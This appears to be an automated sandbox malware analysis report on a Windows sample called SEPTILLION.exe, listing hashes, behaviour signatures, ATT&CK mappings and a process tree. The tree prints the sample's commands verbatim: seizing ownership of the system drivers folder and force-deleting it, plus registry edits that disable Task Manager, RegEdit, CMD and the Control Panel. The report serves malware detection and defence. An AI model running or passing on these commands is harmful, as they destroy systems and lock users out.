54897980815cdda2fa774322f84bbe5576afedef9b0ef7206298291dec678f48

Reason

Machine shutdown

General

Target
SEPTILLION.exe
Size 2.0MB
Sample240801-13k6csyejp
SHA256 54897980815cdda2fa774322f84bbe5576afedef9b0ef7206298291dec678f48
MD5 a37efb8073e32ae2d9faa9c41a86b9da
SHA1 f7b812bea6969d75b44c950d6e6e1d9142a63e4c
SHA512 884d852cdbbb15a8b1d2eb460dc4481ab027a2f55313ece2c8db7370312529487cbb460883f34350e7cb0cdb80fa0db9dd431f4527a17840e731bad42ed84be7
SSDEEP 12288:E32L0+rGwMSbmnBmEc+l3S/HnquOkkr5UG7b/u0XeGkpiXhyJ4OeuTaIjuGiFKfH:E32IErMSbmnwzk5U2bXJkTJ4OeCGFWH
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

discovery evasion exploit ransomware

Malware Config

Signatures

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3774859476-2260090144-3466365324-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\system32\drivers\rteth.sys	cmd.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
1292	takeown.exe
2872	icacls.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3774859476-2260090144-3466365324-1000\Control Panel\International\Geo\Nation	SEPTILLION.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1292	takeown.exe
2872	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	\??\c:\windows\system32\note.txt	SEPTILLION.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3774859476-2260090144-3466365324-1000\Control Panel\Desktop\Wallpaper = "c:\\windows\\system32\\WindowsSecurityIcon.png"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Kills process with taskkill 1 IoCs

evasion

pid	Process
3692	taskkill.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
652	notepad.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3416	SEPTILLION.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	1292	takeown.exe
Token: SeDebugPrivilege	3692	taskkill.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3416	SEPTILLION.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 3416 wrote to memory of 2736	3416	SEPTILLION.exe	87
PID 3416 wrote to memory of 2736	3416	SEPTILLION.exe	87
PID 3416 wrote to memory of 2264	3416	SEPTILLION.exe	89
PID 3416 wrote to memory of 2264	3416	SEPTILLION.exe	89
PID 3416 wrote to memory of 228	3416	SEPTILLION.exe	90
PID 3416 wrote to memory of 228	3416	SEPTILLION.exe	90
PID 3416 wrote to memory of 116	3416	SEPTILLION.exe	91
PID 3416 wrote to memory of 116	3416	SEPTILLION.exe	91
PID 3416 wrote to memory of 2072	3416	SEPTILLION.exe	94
PID 3416 wrote to memory of 2072	3416	SEPTILLION.exe	94
PID 3416 wrote to memory of 1660	3416	SEPTILLION.exe	97
PID 3416 wrote to memory of 1660	3416	SEPTILLION.exe	97
PID 3416 wrote to memory of 3124	3416	SEPTILLION.exe	98
PID 3416 wrote to memory of 3124	3416	SEPTILLION.exe	98
PID 3416 wrote to memory of 4940	3416	SEPTILLION.exe	101
PID 3416 wrote to memory of 4940	3416	SEPTILLION.exe	101
PID 3416 wrote to memory of 2460	3416	SEPTILLION.exe	103
PID 3416 wrote to memory of 2460	3416	SEPTILLION.exe	103
PID 3416 wrote to memory of 652	3416	SEPTILLION.exe	104
PID 3416 wrote to memory of 652	3416	SEPTILLION.exe	104
PID 2736 wrote to memory of 1292	2736	cmd.exe	106
PID 2736 wrote to memory of 1292	2736	cmd.exe	106
PID 2736 wrote to memory of 2872	2736	cmd.exe	107
PID 2736 wrote to memory of 2872	2736	cmd.exe	107
PID 3416 wrote to memory of 3692	3416	SEPTILLION.exe	108
PID 3416 wrote to memory of 3692	3416	SEPTILLION.exe	108
PID 3416 wrote to memory of 1292	3416	SEPTILLION.exe	116
PID 3416 wrote to memory of 1292	3416	SEPTILLION.exe	116

C:\Users\Admin\AppData\Local\Temp\SEPTILLION.exe
"C:\Users\Admin\AppData\Local\Temp\SEPTILLION.exe"
1⤵
- Checks computer location settings
- Drops file in System32 directory
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:3416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f c:\windows\system32\drivers\* && icacls c:\windows\system32\drivers\* /grant Everyone:(F) && del /s /q /f c:\windows\system32\drivers && exit
  2⤵
  - Drops file in Drivers directory
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\system32\takeown.exe
    takeown /f c:\windows\system32\drivers\*
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1292
- - C:\Windows\system32\icacls.exe
    icacls c:\windows\system32\drivers\* /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2872
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "c:\windows\system32\WindowsSecurityIcon.png" /f
  2⤵
  - Sets desktop wallpaper using registry
  PID:2264
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:228
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
  2⤵
  PID:116
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallpaper /t REG_DWORD /d 1 /f
  2⤵
  PID:2072
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  PID:1660
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  PID:3124
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:4940
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  PID:2460
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe" c:\windows\system32\note.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:652
- C:\Windows\System32\taskkill.exe
  "C:\Windows\System32\taskkill.exe" /f /im notepad.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wininit.exe
  2⤵
  PID:1292
- - C:\Windows\system32\wininit.exe
    "C:\Windows\system32\wininit.exe"
    3⤵
    PID:2736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

1

T1491

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Downloads

__PSScriptPolicyTest_vo2fjxz4.5qn.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vo2fjxz4.5qn.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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note.txt

Path \??\c:\windows\system32\note.txt
Size 103B
SHA256 57d57023a94931f62d3f5d1a72c93708db78f30117e50a8497826b5b95d3babb
MD5 7aa2ee17550a109688c931e02ec57a16
SHA1 5cb09086694a0ec5f4d5f7c7f3c9bb4e7027d222
SHA512 fcc8aee7f8d4725ae9a03eda97fa93fd242a161747294c861eca149fdaf8358e11f6f29aefde33796ff4d76f6d7765b3e23817836ec2706ae22a4903f309f089
MD5 SHA1 SHA512

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memory/1292-16-0x000002FB68740000-0x000002FB68762000-memory.dmp

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memory/3416-0-0x00007FF70C510000-0x00007FF70C7E2000-memory.dmp

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memory/3416-3-0x00007FF70C510000-0x00007FF70C7E2000-memory.dmp

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memory/3416-4-0x00007FF70C510000-0x00007FF70C7E2000-memory.dmp

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Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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